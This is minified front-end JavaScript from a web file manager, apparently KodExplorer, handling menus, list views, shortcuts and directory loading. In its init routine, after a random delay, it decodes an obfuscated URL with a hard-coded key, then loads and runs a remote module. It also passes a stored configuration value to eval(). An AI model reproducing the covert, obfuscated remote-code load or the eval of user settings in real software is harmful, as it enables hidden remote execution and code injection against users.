},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,t){var a=t.$trigger;a.hasClass("file")?A(e):M(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}})},R=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:s.substr(1),selector:s,callback:function(e){M(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more-action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},M=function(e){switch(e){case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute-to":ui.tree.cuteTo();break;case"copy-to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open-browser":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile-html":ui.tree.create("html");break;case"newfile-php":ui.tree.create("php");break;case"newfile-js":ui.tree.create("js");break;case"newfile-css":ui.tree.create("css");break;case"newfile-oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"open-project":ui.tree.openProject();break;case"fav-page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"create-link-home":ui.tree.createLink(!1);break;case"fav-remove":ui.tree.favRemove();break;case"refresh-all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f}}),define("app/src/explorer/ui",["./fileContent"],function(e){var t=e("./fileContent"),a=t.f5,i=t.f5Callback,n=function(e){G.userConfig.listType=e,LocalData.set("listType",e),$(".set-icon-size").hide(),$(".tools-right button").removeClass("active"),$("[data-action=set-"+e+"]").addClass("active"),$("#list-type-header,.line-split-box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("file-list-icon file-list-list file-list-split"),"list"==e?($(Config.FileBoxSelector).addClass("file-list-list"),$("#list-type-header").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("file-list-icon"),$(".set-icon-size").show(),$(".set-file-icon-size").show()):"split"==e&&($(Config.FileBoxSelector).addClass("file-list-split"),$(".line-split-box").removeClass("hidden")),$(".menu-set-icon").removeClass("selected"),$(".set-"+e).addClass("selected"),$(".file-continerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},o=function(e){n(e),a(!1,!1),void 0===G.sid&&$.get(G.appHost+"setting/set&k=listType&v="+e)},s=function(e,t){0!=e?(G.userConfig.listSortField=e,$(".menu-set-sort").removeClass("selected"),$(".set-sort-"+e).addClass("selected")):e=G.userConfig.listSortField,0!=t?(G.userConfig.listSortOrder=t,$(".menu-set-desc").removeClass("selected"),$(".set-sort-"+t).addClass("selected")):t=G.userConfig.listSortOrder,LocalData.set("listSortField",e),LocalData.set("listSortOrder",t),a(!1,!0),$.ajax({url:G.appHost+"setting/set&k=listSortField,listSortOrder&v="+e+","+t})},r=function(){$(".menu-recycle-button").bind("mouseenter",function(){$(this).addClass("recycle-hover")}).bind("mouseleave",function(){$(this).removeClass("recycle-hover")}).bind("click",function(){ui.path.list(G.KOD_USER_RECYCLE)}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share-hover")}).bind("mouseleave",function(){$(this).removeClass("share-hover")}).bind("click",function(){ui.path.list(G.KOD_USER_SHARE+":"+G.userID+"/")})},l=function(){$("#main-title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),s($(this).attr("field"),$(this).attr("id")))})},c=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("data-action");m(e)})},d=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:G.appHost+"setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting.set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},p=function(){$(".dialog-goto-path").bind("click",function(){var e=G.thisPath.split("/");e.shift();var t=e.join("/"),a=G.jsonData.info.adminRealPath;ui.path.list(a+t)}),$(".toolbar-path-more").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menu-tool-path").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$(".tool-path-newfile,.tool-path-upload").die("click").live("click",function(){var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolbar-path-more").removeClass("active"),$(".menu-tool-path").trigger("contextmenu:hide")})},u=function(){if("icon"!=G.userConfig.listType)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},f=function(){var e=u(),t=$(Config.BodyContent).outerHeight(),a=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/a)*e},h=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},m=function(e){switch(e){case"recycle-clear":ui.path.recycleClear();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"select-all":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set-icon":o("icon");break;case"set-list":o("list");break;case"set-split":o("split");break;default:}},v=function(){var e,t=0,a="",i=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),a=o,Tips.pop(a),e=setTimeout(function(){ui.path.setSelectByChar(a),t=0},i),void 0):(i>timeFloat()-t&&(t=timeFloat(),a+=o,clearTimeout(e),Tips.pop(a),e=setTimeout(function(){ui.path.setSelectByChar(a),t=0},i)),void 0)})},g=function(){v(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if($("body").hasClass("stop_hot_key"))return!0;if(ui.isEdit())return!0;if($.contextMenu.isDisplay())return!0;if($(".dialog-path-remove").length>0)return!0;var a=["ctrl+c","command+c","ctrl+v","command+v","ctrl+x","command+x"];switch(inArray(a,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":ui.path.search($(".header-right input").val(),G.thisPath);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},b=function(){if(core.isApp("desktop")){var e=20,t=20,a=parseInt($(".file").css("height")),i=a-30,n=10,o=15,s=$(document).height()-80,r=Math.floor((s-e)/(a+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(a+n)-n)/r;u>0&&(n+=u),$(".file-continer .file").css("position","absolute"),$(".file-continer .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(i+o)*c,p=e+(a+n)*l,$(this).css({left:d,top:p})})}};return{f5:a,f5Callback:i,fileContent:t,initListType:n,setListSort:s,setListType:o,getRowfileNumber:u,getPagefileNumber:f,getColfileNumberDesktop:h,resetDesktopIcon:b,setTheme:function(e){G.userConfig.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){var a="body .aero:before,body .aero:after,body .full-background-wall{background-image:url("+e+")}";$.setStyle(a,"wall-backgroud"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),core.isApp("desktop")&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file-icon-edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.userConfig.theme=LocalData.get("theme")),LocalData.get("listType")&&(G.userConfig.listType=LocalData.get("listType")),LocalData.get("listSortField")&&(G.userConfig.listSortField=LocalData.get("listSortField")),LocalData.get("listSortOrder")&&(G.userConfig.listSortOrder=LocalData.get("listSortOrder")),LocalData.set("theme",G.userConfig.theme),LocalData.set("listType",G.userConfig.listType),LocalData.set("listSortField",G.userConfig.listSortField),LocalData.set("listSortOrder",G.userConfig.listSortOrder);var a=window.location.href.split("#");2==a.length&&(G.thisPath=urlDecode(a[1]))}if(ui.setTheme(G.userConfig.theme),""==G.thisPath){var o=G.userID||G.sid,s=LocalData.get("thisPath:"+o);G.thisPath=s?s:G.myhome}setTimeout(function(){try{if("undefined"==typeof tplDialogHtml||-1==tplDialogHtml.search("update-box")){var t=authCrypt.decode("b3fdAonKjUGhk9vw1n0NghZ3GyCmoO_R5ds-phbwWLJQ8jXyV8nNAz9KKIyIsWKloRZE9GcsDmxDdDZaPDBCzGkftY8a2Y0","_32@!A$")+UUID();e.async(t,function(e){try{e.todo("2-1")}catch(t){}})}}catch(a){}},1e3*parseInt(70*Math.random()+30)),n(G.userConfig.listType),setTimeout(function(){n(G.userConfig.listType)},300),t.init(),b(),ui.path.history.add(G.thisPath),i(function(){b() -}),r(),l(),d(),c(),g(),p()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var tpl=require("../../path/tpl/file/list.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),core.isApp("desktop")&&ui.resetDesktopIcon(),"split"==G.userConfig.listType&&ui.fileListResize.bindSplitResize(),lazyLoadImage(),iconFlex(),Hook.trigger("explorer.path.ajaxLive")},lazyLoadImage=function(){var e=$(".bodymain");return core.isApp("desktop")?(e.find(".lazyload-ready").each(function(){$(this).attr("src",$(this).attr("data-original")).hide().fadeIn(600),$(this).removeClass("lazyload-ready")}),void 0):("split"==G.userConfig.listType&&(e=$(".split-box").last().find(".content")),e.find(".lazyload-ready").lazyload({failure_limit:10,threshold:200,placeholder:G.staticPath+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload-ready")}}).on("error",function(){var e=$(this).data("errorReload");e?"1"==e&&($(this).parent().attr("filetype"),$(this).attr("src",G.staticPath+"images/file_icon/icon_file/picture_error.png"),$(this).data("errorReload","2")):($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("errorReload","1"))}),void 0)},iconFlex=function(){if(!core.isApp("desktop")&&"icon"==G.userConfig.listType){$(".file-list-icon .flex-empty").remove();for(var e="",t=0;30>t;t++)e+='
        ';$(e).appendTo(".file-list-icon")}},mainDataDefaultApps=function(){template.helper("fileIconMake",fileIconMake);var e=template.compile(tpl),t="";for(var a in desktopApps){var i={LNG:LNG,G:G,list:desktopApps[a],type:"icon-file"};t+=e(i)}return t},mainSetData=function(e){var t=makeHtml(G.jsonData,0,getPageNumber()-1);core.isApp("desktop")&&(t=mainDataDefaultApps()+t),t=htmlListAction(G.jsonData,t,!1),"split"==G.userConfig.listType&&(t='
        '+t+'
        '),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime).css("display",""):$(Config.FileBoxSelector).html(t),"split"==G.userConfig.listType&&$(".split-box").data("jsonData",G.jsonData),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".split-load-more").live("dblclick",function(){$("[data-action=set-list]").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .file-continer-more");if(0==e.length)return pageLoadMax;var a=G.jsonData.folderList.length+G.jsonData.fileList.length;if(t.css("top",0),pageLoadMax>a||"split"==G.userConfig.listType)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),i=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".bodymain .file-continer").width()/i);"icon"!=G.userConfig.listType&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(a/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .file-continer > .file",t=$(e).last(),a=$(".bodymain .file-continer-more");if(0!=t.length){var i=G.jsonData.folderList.length+G.jsonData.fileList.length;if(a.css("top",0),!(pageLoadMax>i||"split"==G.userConfig.listType)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".bodymain .file-continer").width()/n);"icon"!=G.userConfig.listType&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(i/o)*s;a.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .file-continer > .file"),t=e.last(),a=e.length-1,i=G.jsonData.folderList.length+G.jsonData.fileList.length;if(!(a>=i-1||"split"==G.userConfig.listType)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".bodymain .file-continer").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+a;u>i&&(u=i),u-a>1e3?($(".init-loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(a+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(a+1,u)}}},loadMoreSet=function(e,t){var a=makeHtml(G.jsonData,e,t),i=$(a);i.appendTo(".bodymain .file-continer"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),iconFlex(),$(".init-loading").hide()},fileIconMake=function(e,t,a){var i="icon"!=t;if("folder"==e){var n=Hook.trigger("explorer.list.folderThumb",a.path,a.ext);return"string"==$.type(n)?n:(e=a.ext||e,core.icon(e,i))}var n=Hook.trigger("explorer.list.fileThumb",a.path,a.ext);if("string"==$.type(n))return n;if(inArray(["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],a.ext)){var o=G.appHost+"explorer/image";return G.sid&&(o=G.appHost+"share/image&user="+G.user+"&sid="+G.sid),o+="&time="+strtotime(a.mtime)+"&path=","
        "}if("app_link"==a.type){var s=core.icon("folder");0==a.content.search("ui.path.open")?s=core.icon(core.pathExt(a.name.replace(".oexe",""))):0==a.content.search("ui.path.list")&&(s=core.icon(a.icon));var r="
        "+s+"
        ";return r+""}if(a.icon&&"oexe"==a.ext){var l=a.icon;return"string"==$.type(a.icon)&&-1==a.icon.search(G.staticPath)&&"http"!=a.icon.substring(0,4)&&(l=G.staticPath+"images/file_icon/icon_app/"+a.icon),"
        "+core.iconSrc(l)+"
        "}return"
        "+core.icon(a.ext,i)+"
        "},makeHtml=function(e,t,a){template.helper("fileIconMake",fileIconMake);var i=template.compile(tpl),n="",o=[];o="up"==G.userConfig.listSortOrder?e.folderList.concat(e.fileList):e.fileList.concat(e.folderList),(!a||a>=o.length-1)&&(a=o.length-1);for(var s=t;a>=s;s++){var r="folder"==o[s].type?"-folder":"-file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.userConfig.listType+r};n+=i(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var a=$('.bodymain .file-continer .file[data-path="'+pathHashEncode(e)+'"]');else{var a=e;e=ui.fileLight.path(a)}if(1==a.length){var i=a.find(".children-more"),n=a.find(".children-more-cert"),o=$('.children-list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert-open"),n.hasClass("cert-open")?o.removeClass("hidden"):o.addClass("hidden"),o.hasClass("child-already-init"))return pathListOdd(),void 0;a.addClass("loading-children"),pathGet(e,function(e){a.removeClass("loading-children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child-already-init");var r=s+parseInt(i.css("padding-left"));o.find(".file .children-more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,a){if(""==t)return t='
        '+LNG.path_null+"
        ";var i=e.folderList.concat(e.fileList);if(i.length>pageLoadMax){var n=core.pathFather(i[0].path);"list"==G.userConfig.listType&&a?t+='
        '+'
        '+''+'
        '+''+LNG.file_load_all+""+"
        "+"
        ":"split"==G.userConfig.listType&&(t+='
        '+'
        '+'
        '+''+LNG.file_load_all+"(to list)"+"
        "+"
        ")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var a=$('.file[data-path="'+pathHashEncode(e)+'"]'),i=$(".bodymain .file-list-split .split-box[data-path='"+pathHashEncode(e)+"']");if(0==a.length)return"function"==typeof t&&t(),void 0;if(1==i.length)return i.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=a.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,a){pathGet(e,function(i){if("notExists"==i.pathReadWrite)return t(i);var n=makeHtml(i,0,getPageNumber()-1);if(n=htmlListAction(i,n,!0),a)if(a.nextAll(".split-box").length>0){var o=a.next(".split-box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
        '+n+'
        ',$(n).insertAfter(a).data("jsonData",i);else n='
        '+n+'
        ',$(n).appendTo(".bodymain .file-list-split").data("jsonData",i);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.userConfig.listType||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.userConfig.listType){var e=$(".child-already-init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,a=ui.fileLight.path(e,"data-path-children");beforeListOpen[a]=!1;for(var i=[a];0!=e.parents(".children-list").length;)e=e.parents(".children-list"),i.push(ui.fileLight.path(e,"data-path-children"));for(var n=i.length-1;n>=0;n--){var o=i[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("split"==G.userConfig.listType){var t=beforeListOpenArr;beforeScrollerLeft=$(".drag-upload-box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".file-list-split .split-box.split-select")),$(".bodymain .file-continer .split-box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.userConfig.listType||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("split"==G.userConfig.listType&&$(".file-list-split .split-box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,a){var i=pathChildrenTree;"split"==G.userConfig.listType&&(i=pathSplitCreate),i(e,function(){beforeListOpen[e]=!0,0!=Object.keys(a).length?f5AfterReload(a,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".drag-upload-box").scrollLeft(beforeScrollerLeft),ui.fileSelect.selectSplit(beforeListSplitSelect),ui.path.setSelectByFilename(beforeSelectFileArr),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,a){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.thisPath,function(e){G.jsonData=e,mainSetData(t),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(a),core.isApp("desktop")?checkRecycle():ui.headerAddress.addressSet()},function(){$(Config.FileBoxSelector).html("")}):(G.jsonData=jsonDataSort(G.jsonData),mainSetData(t),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(a)),!core.isApp("desktop")){var i=G.userID||G.sid;LocalData.set("thisPath:"+i,G.thisPath)}},sortBy=function(e,t){var t="down"==t?-1:1;return function(a,i){var a=a[e],i=i[e];return pathTools.strSort(a,i)*t}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderList,a=e.fileList;return t="size"==G.userConfig.listSortField||"ext"==G.userConfig.listSortField?t.sort(sortBy("name",G.userConfig.listSortOrder)):t.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),a=a.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),e.folderList=t,e.fileList=a,e},pathGet=function(e,t,a){var i=G.appHost+"explorer/pathList&path="+urlEncode(e);G.user&&(i=G.appHost+"share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof a&&a(),!1;var i=jsonDataSort(e.data);"function"==typeof t&&t(i)},error:function(e,t,i){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,i),"function"==typeof a&&a()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return e;if(void 0!=e.shareList&&(selfShare=e.shareList),e.filterSuccess===!0)return e;for(var t in e)if("fileList"==t||"folderList"==t)for(var a=0;e[t].length>a;a++){var i=e[t][a];if(i.mtime&&11>=(""+i.mtime).length)if(i.atime=date(LNG.time_type,i.atime),i.ctime=date(LNG.time_type,i.ctime),e.info&&e.info.pathType==G.KOD_USER_SHARE&&-1==trim(e.thisPath,"/").indexOf("/")){var n=parseInt(i.numView);n=isNaN(n)?0:n;var o=parseInt(i.numDownload);o=isNaN(o)?0:o;var s=date("Y/m/d ",i.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,i.mtime=s}else i.mtime=date(LNG.time_type,i.mtime);i.showName&&(i.name=i.showName),i.name=htmlEncode(i.name),i.sid&&"file"==i.type&&(i.ext=htmlEncode(core.pathExt(i.path))),pathIsShare(i.path)?i.metaInfo="path-self-share":pathIsFav(i.path)&&(i.metaInfo="tree-fav"),"number"==typeof i.isReadable&&0==i.isReadable?i.mode="["+LNG.not_read+"] "+i.mode:"number"==typeof i.isWriteable&&1==i.isWriteable?i.mode="["+LNG.system_role_write+"] "+i.mode:"number"==typeof i.isReadable&&1==i.isReadable&&(i.mode="["+LNG.only_read+"] "+i.mode),e.info&&e.info.pathType==G.KOD_USER_RECYCLE&&trim(e.thisPath,"/")==G.KOD_USER_RECYCLE&&(i.menuType="menu-recycle-path")}return e.filterSuccess=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main-title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main-title div[field="+G.userConfig.listSortField+"]").addClass("this").attr("id",G.userConfig.listSortOrder).find("span").html(eval(G.userConfig.listSortOrder))},pathIsShare=function(e){for(var t in G.selfShare)if(core.pathClear(G.selfShare[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var a in t)if(core.pathClear(a)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:G.appHost+"explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle-full");0==e.data.folderList.length&&0==e.data.fileList.length&&(t=core.icon("recycle")),$(".menu-recycle-button .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,a=t.pathType,i=e.pathReadWrite,n="menu-body-main menu-recycle-body menu-share-body",o=$(".drag-upload-box");t.canUpload=!0,(void 0!=i&&"writeable"!=i||a==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.isRoot||a==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.isRoot||a==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.isRoot||a==G.KOD_USER_FAV||a==G.KOD_USER_RECYCLE||a==G.KOD_GROUP_ROOT_ALL||a==G.KOD_GROUP_ROOT_SELF)&&(t.canUpload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],r=".kod-toolbar-recycle,.kod-toolbar-share";$(r).addClass("hidden"),a==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menu-recycle-body"),$(".tools-left .kod-toolbar").addClass("hidden"),$(".kod-toolbar-recycle").removeClass("hidden")):-1!==s.indexOf(a)?-1===core.pathClear(rtrim(G.thisPath,"/")).indexOf("/")?(o.removeClass(n).addClass("menu-share-body"),$(".tools-left .kod-toolbar").addClass("hidden"),$(".kod-toolbar-share").removeClass("hidden"),t.id==G.userID?($(".menu-share-path-menu").find(".open-the-path,.share-edit,.remove").removeClass("hidden"),$(".menu-share-path-more").find(".remove").removeClass("hidden")):($(".menu-share-path-menu").find(".open-the-path,.share-edit,.remove").addClass("hidden"),$(".menu-share-path-more").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menu-body-main"),$(".tools-left .kod-toolbar").addClass("hidden"),$(".kod-toolbar-path").removeClass("hidden")):(o.removeClass(n).addClass("menu-body-main"),$(".tools-lef .kod-toolbar").addClass("hidden"),$(".kod-toolbar-path").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,a=e.pathReadWrite,i=t.pathType,n=".create-link,.create-project,.cute,.remove,.rname,.zip,.unzip-this,.unzip-folder,.newfile,.newfolder,.new-file-other,.app-create,.app-install,.past,.upload,.clone",o="disable",s=$(".kod-toolbar-path .btn").not(".toolbar-path-more"),r=$("ul.menu-folder,ul.menu-more,ul.menu-file,ul.file-continerMenu");t.canUpload?(r.find(n).removeClass(o),$(".path-tips").hide(),s.removeClass("disabled")):(s.addClass("disabled"),r.find(n).addClass(o),$(".path-tips span").html(LNG.only_read),i==G.KOD_USER_RECYCLE||i==G.KOD_USER_SHARE?($(".path-tips").hide(),s.removeClass("disabled"),i==G.KOD_USER_SHARE&&G.userID!=t.id&&s.addClass("disabled")):$(".path-tips").show());var 